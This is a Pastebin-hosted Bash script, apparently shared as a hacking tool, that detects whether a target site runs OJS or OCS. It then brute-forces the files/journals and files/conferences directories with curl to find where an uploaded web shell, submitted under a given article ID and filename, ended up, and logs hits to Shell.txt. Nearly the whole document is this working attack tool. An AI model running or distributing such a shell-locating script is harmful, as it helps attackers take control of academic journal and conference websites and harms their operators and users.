Advertisement
Fadly31337

OJS Shell Finder (Forbidden path)

Mar 11th, 2021
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.15 KB | None | 0 0
  1. #!/bin/bash
  2. # More tools: https://pastebin.com/u/Fadly31337
  3. # Facebook: https://fb.me/val.1337
  4.  
  5. clear
  6.  
  7. ocs(){
  8.         OcsWeb=$1
  9.         OcsID=$2
  10.         OcsFilename=$3
  11.         for (( i = 0; i < 100; i++ )); do
  12.             local SearchDir=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/")
  13.             if [[ $SearchDir =~ "403 Forbidden" ]] || [[ $SearchDir =~ "200 OK" ]]; then
  14.                 for (( ii = 0; ii < 100; ii++ )); do
  15.                     local SearchDirr=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/")
  16.                     if [[ $SearchDirr =~ "403 Forbidden" ]] || [[ $SearchDirr =~ "200 OK" ]]; then
  17.                         printf "[+] FOUND : $i/schedConfs/$ii/papers/$OcsID/\n"
  18.                         echo "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/" >> 403.txt
  19.                         printf "[!] Searching shell with id [$OcsID] and name [$OcsFilename]\n"
  20.                         local ScanShell=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename")
  21.                         if [[ $ScanShell =~ "200 OK" ]]; then
  22.                             printf "[+] FOUND : $OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename\n"
  23.                             echo "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename" >> Shell.txt
  24.                         else
  25.                             printf "[-] NOT FOUND\n"
  26.                             printf "[!] You can Search it Manually\n"
  27.                             exit 1
  28.                         fi
  29.                     fi
  30.                 done
  31.             fi
  32.         done
  33. }
  34. ojs(){
  35.         OjsWeb=$1
  36.         OjsID=$2
  37.         OjsFilename=$3
  38.         for (( i = 0; i < 200; i++ )); do
  39.             local SearchDir=$(curl -s -I "$OjsWeb/files/journals/$i/articles/")
  40.             if [[ $SearchDir =~ "403 Forbidden" ]] || [[ $SearchDir =~ "200 OK" ]]; then
  41.                     local SearchDirr=$(curl -s -I "$OjsWeb/files/journals/$i/articles/$OjsID/")
  42.                     if [[ $SearchDirr =~ "403 Forbidden" ]] || [[ $SearchDirr =~ "200 OK" ]]; then
  43.                         printf "[+] FOUND : $i/articles/$OjsID/\n"
  44.                         echo "$OjsWeb/files/journals/$i/articles/$OjsID/" >> Path.txt
  45.                         printf "[!] Searching shell with id [$OjsID] and name [$OjsFilename]\n"
  46.                         local ScanShell=$(curl -s -I "$OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename")
  47.                         if [[ $ScanShell =~ "200 OK" ]]; then
  48.                             printf "[+] FOUND : $OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename\n"
  49.                             echo "$OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename" >> Shell.txt
  50.                             exit 1
  51.                         else
  52.                             printf "[-] NOT FOUND\n"
  53.                             printf "[!] You can Search it Manually\n"
  54.                             exit 1
  55.                         fi
  56.                     fi
  57.             fi
  58.         done
  59.  
  60. }
  61.  
  62. cek_cms(){
  63.         local link=$1
  64.         printf "[!] CMS : "
  65.         checking=$(curl -s "$link" -L)
  66.         if [[ $checking =~ "pkp.sfu.ca/ojs/" ]]; then
  67.             printf "OJS\n"
  68.             local ojsid=$2
  69.             local ojsfile=$3
  70.             printf "[!] Searching Directory\n"
  71.             ojs $link $ojsid $ojsfile
  72.         elif [[ $checking =~ "pkp.sfu.ca/ocs/" ]]; then
  73.             printf "OCS\n"
  74.             local ocsid=$2
  75.             local ocsfile=$3
  76.             printf "[!] Searching Directory\n"
  77.             ocs $link $ocsid $ocsfile
  78.         else
  79.             printf "NOT OJS/OCS\n\n"
  80.             exit 1
  81.         fi
  82. }
  83.  
  84. if [[ -z $3 ]]; then
  85.     printf "For Use : ./$0 <http://target.com/[PATH]> <id> <filename>\n"
  86.     exit 1
  87. fi
  88.  
  89. id=$2
  90. file=$3
  91.  
  92. for sites in $1; do
  93.     printf "Scanning $sites\n"
  94.     cek_cms $sites $id $file
  95. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement